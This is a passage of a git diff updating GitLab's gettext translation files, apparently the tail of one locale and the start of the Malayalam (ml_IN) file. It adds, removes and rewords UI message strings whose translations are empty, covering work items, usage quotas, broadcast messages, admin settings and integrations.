msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/ml_IN/gitlab.po b/locale/ml_IN/gitlab.po
index 5b871f6dff1..94ac9878ce8 100644
--- a/locale/ml_IN/gitlab.po
+++ b/locale/ml_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ml-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:43\n"
+"PO-Revision-Date: 2023-01-10 06:47\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
